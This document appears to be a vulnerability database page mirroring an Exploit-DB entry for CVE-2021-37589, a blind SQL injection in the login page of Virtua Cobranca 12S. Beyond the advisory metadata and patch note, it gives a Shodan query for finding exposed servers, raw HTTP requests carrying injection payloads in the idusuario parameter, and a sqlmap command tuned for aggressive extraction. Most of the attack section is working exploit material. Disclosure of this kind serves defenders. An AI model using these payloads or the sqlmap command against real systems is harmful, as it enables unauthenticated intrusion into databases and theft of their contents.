Virtua Software Cobranca 12S - SQLi

vendor:

Virtua Cobranca 12S

by:

Luca Regne

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Virtua Cobranca 12S

Affected Version From: 12S

Affected Version To: 12S

Patch Exists: YES

Related CWE: CVE-2021-37589

CPE: a:virtuasoftware:virtua_cobranca_12s

Metasploit:

Other Scripts:

Tags: cve,cve2021,virtua,sqli

CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Nuclei References: https://github.com/luca-regne/my-cves/tree/main/CVE-2021-37589, https://www.virtuasoftware.com.br/, https://www.virtuasoftware.com.br/conteudo.php?content=downloads&lang=pt-br, https://nvd.nist.gov/vuln/detail/CVE-2021-37589

Nuclei Metadata: {'max-request': 3, 'shodan-query': 'http.favicon.hash:876876147', 'verified': True, 'vendor': 'virtuasoftware', 'product': 'cobranca'}

Platforms Tested: Windows Server 2019

2021

Virtua Software Cobranca 12S – SQLi

A Blind SQL injection vulnerability in a Login Page (/controller/login.php) in Virtua Cobranca 12S version allows remote unauthenticated attackers to get information about application executing arbitrary SQL commands by idusuario parameter.

Mitigation:

Virtua Software has released a patch to fix this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: Virtua Software Cobranca 12S - SQLi
# Shodan Query: http.favicon.hash:876876147
# Date: 13/08/2021
# Exploit Author: Luca Regne
# Vendor Homepage: https://www.virtuasoftware.com.br/
# Software Link: https://www.virtuasoftware.com.br/downloads/Cobranca12S_13_08.exe
# Version: 12S
# Tested on: Windows Server 2019
# CVE : CVE-2021-37589
------------------------------------------------------------------------


## Description 
A Blind SQL injection vulnerability in a Login Page (/controller/login.php) in Virtua Cobranca 12S version allows remote unauthenticated attackers to get information about application executing arbitrary SQL commands by idusuario parameter. 

## Request PoC
```
POST /controller/login.php?acao=autenticar HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 37
Connection: close
Cookie: origem_selecionado=; PHPSESSID=

idusuario='&idsenha=awesome_and_unprobaly_password&tipousr=Usuario

```

This request causes an error 500. Changing the idusuario to "'+AND+'1'%3d'1'--" the response to request was 200 status code with message of authentication error. 

```
POST /controller/login.php?acao=autenticar HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 37
Connection: close
Cookie: origem_selecionado=; PHPSESSID=

idusuario='+AND+'1'='1'--&idsenha=a&tipousr=Usuario

```

## Exploit
Save the request from burp to file 
```bash
python3 sqlmap.py -r ~/req-virtua.txt -p idusuario --dbms firebird --level 5 --risk 3 --random-agent
```